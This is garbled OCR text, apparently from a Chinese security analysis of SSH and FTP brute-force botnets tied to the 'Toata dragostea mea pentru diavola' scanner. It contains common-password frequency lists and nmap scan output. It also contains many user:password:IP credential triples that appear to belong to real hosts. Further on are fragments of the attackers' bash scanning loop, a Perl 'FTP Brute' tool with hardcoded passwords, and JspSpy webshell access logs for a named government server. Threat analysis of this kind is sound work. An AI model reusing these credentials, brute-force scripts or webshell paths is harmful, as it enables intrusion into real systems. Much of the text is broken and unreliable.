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USEY
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postgres
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support

13563

ftpuser

13151

root

PNE

239673

admin

74676

123456

48446

null

35881

default

33230

password

30174

123456789

28722

1gaz@¥SX

27584

123gwe

27510

4bcl23

26452

397413

305713

277247

260460
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238134
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Wroot
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admin
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123456789

Wubnt

Wtest

postgres Msupport

w123

1q

105, 41, 124,35 D%

Muser

W fip

mdefault
WAbcl23




X AT B VE R ?

B ERR—— BN R BATEIANMaP g S af—— R
FEnamp L XA KRS HATRD,

proto name :tcpurapped ate zopen info :
oK
proto name :rsync state zopen info
oK
proto name :tcpurapped ate
oK
state :open info
0

zopen info :

proto » irsync

itcp name irsync state zopen info

oK

proto

nmapScan start at 2015-87-19 21:04:18 !! for @
stop at 2015-87-19 21:06:39 for gy 250.123 443 tcp http open apache hitpd
proto :tcp name :domain state :closed info

oK

rt =
t :80 proto :tcp name :http state zopen
e oK
1443 proto :itcp name :http state :open info :nginx
sert e : oK
t :808@ proto :tcp name :http-proxy state :closed
oK

info zapache httpd

rt

info

InmapScan start at 2015-87-19 21:86:39 !! for
stop at 2015-87-19 21:11:47 for
tate zopen info :apache httpd
oK
:tcp name :http state :open info :nginx
oK

nmapScan
port :88 proto :tcp name :thttp

proto

8850 proto :tcp name :tcpwrapped state topen info

oK

InmapScan start at 2015-07-19 21:11:47
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65529 ports replied with: resets

Port State (toggle closed [0] | filtered [0]) [service | BEBREL 2 SIIT EESXHEIRER BEXERLE echo Lf& javaiflsT
22 tcp opel |ssh
ssh- 1024 9a:88:6d:2b:7e:93:e4:94:c5:2e:62:4azec:db:b2:88 (DSA) §J;QE§ g
y 3
hostkey 2048 82:db:24:£1:£fc:b0:bl:30:87:30:02:6b:a%:dc:b7:93 (RSA) Ig 1321“%\?\‘.
3306 |tep open el .autofsck
mysql- Protocol: §3 Sys
info Version: .1.5§9-log catalina.log.2015-01-02
Thread ID: 420832
Capabilities flags: 63487 var
Some Capabilities: SupportsTransactions, F , Ignor foreParenth , IgnoreSigpipes, Speaksd4lProtoco upgrade
Status: Autocommit
Salt: EibZnXJL|0T:a['K'~jv .autorelabel
v home
5001 [tep open | link mysql
8009 _|tc open ajp13
- L B v avconroot
ajp- Failed to get a valid response for the OPTION request
methods .bash_history
8191 [tcp open [ .bashrc
12030|tcp open |http v
http- No Allow or Public header in OPTIONS response (status code 200) vuln.txt
methods
XXX.TXT
http- Apache-Coyote/l.1 :
Server- bios.txt
header mfu.txt
http-title |AVCONE systems management platform pass_file

£




root:avonline:120.192.205.67
root:avonline:120.192.205.66
.144.139.22
.146.139.214
.161.139.26
.164.9.249

: 1221.162.39.10
root:avonline:221.162.39.12
:avonline:221.162.39.8
root: 1221.162.39.6
test .202.136.114
root:avonline:221.226.157.226
root:avonline:221.238.137.75
test:test:221.6.102.189
root:avonline:173.192.124.162
root:avonline:173.193.151.19
root:avonline:173.193.151.18
oracle:oraclel234:173.233.87.199
oracle:oraclel234:173.233.87.200
dev:dev:173.254.203.17
temp:temp:68.152.21.3
root:avonline:120.192.205.67
root:avonline:120.192.205.66
portal:portal:120.197.96.99
demo:demo:120.32.48.90
test:test:222.105.156.20
tomcat:tomcat:222.114.172.19
test:test:222.129.75.174
test:tes 22.171.225.177
sysadmin:sysadmin:222.175.169.25
test:test:222.177.11.162
test:testtest:222.184.252.19

aveonroot:avonline:222.190.113.232

sysadmin:sysadmin:222.213.163.167
test:t :222.66.97.107
test:test:222.66.203.11
test:test:222.73.86.4
dev:idev:222.73.40.237
$222.75.151.92
$222.81.173.173

test: $1222.82.226.78
aveonroot:avonline:222.87.54.105
test:test:222.96.81.162
test:test:222.99.41.164
hadoop:hadeop:49.173.220.23
postgres:postgres:49.239.1.236
sysadmin 500min:49.247.221.243
test:t :118.130.200.195
root:avonline:118.182.22.93
svn:isvn:118.193.213.188
test:test:118.217.6.206
root:avonline:118.213.150.230

LTHINAT

sysadmin:sysadmin:lly. b. 1¢4. bb

sysadmin:sysadmin:119. 7.14.120
ftpuser:ftpuser:119. 6. 241. 77

portal :portal:119. 6. 206. 70

temp:temp:119. 6. 89. 127 X
postgres:postgres:119. 81. 144. 236 24%
ftpuser:ftpuser:119. 81. 236. 28
hadoop:hadoopl23:119. 84. 14. 155
hadoop:hadoopl123:119. 84. 14. 154

jenkins: jenkins123:119. 9. 105. 200
hadoop:hadoop:119. 9. 79. 166

test:test:61.143. 33. 98

root:avonline:61. 135, 218. 206
avconroot:avonline:61. 166. 189. 69

avconroot :avonline:61. 166. 225. 93

dev:dev:61. 164. 41. 82

avconroot:avonline:61.181. 24. 15
avconroot:avonline:61. 186. 236. 107
test:test:61. 222. 48. 161

test:test:61. 251. 77. 209

test:test:61. 32. 252. 61

demo:demo:61. 32. 200. 188

test:test:61. 36 0
test:test:61. 36. 83. 194

root:avonline:61.67.8.1 5
test:test:61. 72.126. 162

test:test:61. 72. 220. 23

x5
10%
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bash_history
|} DS Store

. mfutxt
|| pass_file
Os
| screen
vuln.tet

ootxt

=t
EIREH0aTE

while [ 666=666 ]

do

if [ -f vuln.txt ] ; then

echo TRINIT !

cat vuln. txt | grep -v DUP | grep -v
exec{xxx. txt

> XXX. txt

while read line

/£ 22 -a $[ ( $RANDOM % 25¢ ) ] -i $retea —s 10
at bios.txt |sort | unig > mfu. txt

%
wait
. /1 1000 ] bash_history
m -rf bios. txt DS Store
while [ 10=10 ] i
do =
echo e *\E[3¢;40n Noara nacina...’ A =
| mfutxt
EEEEEEEE——— [ pass._file
Os
[ screen
) vuln.xt
[ sooxxt

Afmfu— g FHIRN 55 0 SR ENE

AT Tscreenfip A, KRG I — &)+ Toata
dragostea mea pentru diavola”

247

— B A A SSH 84 IR 55- 88 4T M A8

DUP skype:s
DUF avinash:
DUP altibasqg
DUP user05:

PR,

4:1:5

root: .162.39.1
Toot: .162.39.1
root: -162.39.8

root:avonline:221.162. 39. 6
test:test:221. 202, 136. 114
root:avonline:221. 226. 157.
root:avonline:221. 238. 137.
test:test:221.6.102. 189
Toot: 1173.192. 124,
root: 73.193.151.
root:avenline:173.193. 151.
oracle:oraclel234:173. 233.
oracle:oraclel234:173. 233.
dev:dev:173. 254. 203. 17
temp:tenp:68. 152. 21. 3
root:avonline:120. 192. 205.
root:avonline:120. 192. 205.
portal:portal:120.197. 96. 9
demo:demo:120. 32. 48. 90
test:test:222. 105. 156. 20
tomcat:tomcat:222.114.172.

4mmtatanta090 100 TE 174

0
2

226
75

162

19

18
87.199
87.200

67
66
9

19
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“Toata dragostea mea pentru” Vulnerability Scanners

whether libwww-perl or the “Toata drag ola” scanners....They did chang
€ user agents in the meantime to something cloaked — their

johannburkard.de/blog, - EEtREB - - MEFHE

a mea pentru

B & T F A relaxscan$: DR ARSSH - linux® B35 - Power by www.
$ /ssh-scan 100Toata dragostea mea pentru diavolalFEMT A R HER 2B TAE

w_linuxfly.org/post/ - EREREE - R

Toata dragostea mea pentru diavola - Ligams
Développement web indépendant & Montpellier Accueil » Blog » Serveur Web » Toata drago

Otras entradas de “Toata dragostea mea pentru diavola”

Skip to content Otras entradas de “Toata dragostea mea pentru diavola” scanner Entradas e
n logs del rastreador “Toata dragostea mea pentru di
usninoc.com/200 - BEIREB -

B {F A relaxscan$: N AESSH - Archack{###2 % T].admin
20126 7H11H - Toata ostea mea pentru diavolalll TEMTEIREET2HETHR
FIERITR 250 51 FJul 8 12:00:33 asianux3 sshd[2488]: Invalid us.

1. @mESsEE

3. FESENR
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,73_ ]‘\;J ‘%3};’ EARER SIS .
NI /N o IPHthE:  199.30.18.212 WEAMAEIE: 24T [ RRETH
MICROSOFT-CORP-MSN-AS-BLOCK - Microsoft TP : B
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MRS :
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APT: 8
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PREFIX: 199.30.16.0/20 MBI
199.30.18.212 Tk Pl
ASN: AS8075 '
0 2015 REGION:
o FMERIRE XD OARE, (SRS, HHSTHAERSSENNR
.
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wEdE wEFE  IRE  HEEST DESE BREREST  =ENREe  SHBH BERS
E=P: | 1 3 [V | b websheliffs v DnEdkEEe
Fs AHRR ekt 3RO Ttz EER A FHHER ®E  EREER
172 2015-08-06 JspSpy jsp2sort=2&unpackfile=E%3A% A
1 80 I3 GET 200
00:25:14 LD = 5Cgzscoop%5Ccope%s5Cweb_20121119 v
N 7 2015-08-06 1JspSpy jsp?sort=28unpackfile=E%3A% A
2 T
00:48:04 50 m m e 5Cgzscoop%SCcope’ _20121119- v 2
) 2015-08-06 1JspSpy Jspsort=2&unpackfi ~
3 8l = 0
g 01:13:43 o N = = 5Cgzscoop%3Ccope%S5Cweb_20121119 v
1z 2015.08-06 14spSpy Jsp2sort=-28unpackfie: A
4 03:45:28 A B CF o pscoopsceopets v
T — B
Bt RGN
BRET 0 [v] FoR Search
FS AP i BRSXH B Gic) niE B
A 2015-08-06 00:25:14
1 7, g b G i WiebShell 22 El 3 ]
i L o b d 2015-08-06 01:13:43
165 G KRR ag fle=E% A .
2 - 9 doven /JspSpy jsp?sort=-2&unpackfile=E% 2015-08-06 03:48:28 1 T

EPTVES i

3A%5Cgzscoop%sCcope%s

00:254-%]00:135 % & £ H 49 IP199.30.18.212
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B HRAGNBEE A RE A,

Server name: www.gzscoop.gov.cn port: 80 Remote port: 30747 Your Ip address: 172.16.212.211
0s Name chitecture Server [Sun Microsystems Inc. 1.5.0_06-b05
Windows 2003 |Apache Tomcat/5.0.30 a: (TM) Clier
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ftpBrute
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Ra8E

2
2
2
2
2
2
2
&
2
2

mnt

t "\nFTP Brute - Red Eye\n\nUse

$processo”."\0"x16;;

aux|grep sshdlve -1') ;

mn{

aux|grep sshdlvc -1') ;

tem("echo $% hosts scaneados.

("perl scan.sc $site");

ftpBrute 3% & 2R 54X, 55

perl $0 sites.txt 50 <nLinha>\n\n";

/sbin/sshd";

$processo

om o dork: $1"

", "webmaster" ,"admi:

"a8T4b2", " "mudar123", "123mx

let: : FTP->new ("$host" Debug => 0, Timeout => 7) |
->login("$user", "spass") ||
->quit;

1AD: :Simple;
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wordpress
Z-Blog
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Drupal
AspCms
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Apache/2.2.22(Ubuntu)
Apache/2.0.15(CentOS)
Apache/2.0.52(CentOS)
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nginx/1.0.15
Microsoft-11S/8.0
Apache/2
Microsoft-11S/7.0

unknown

Microsoft-11S/7.5
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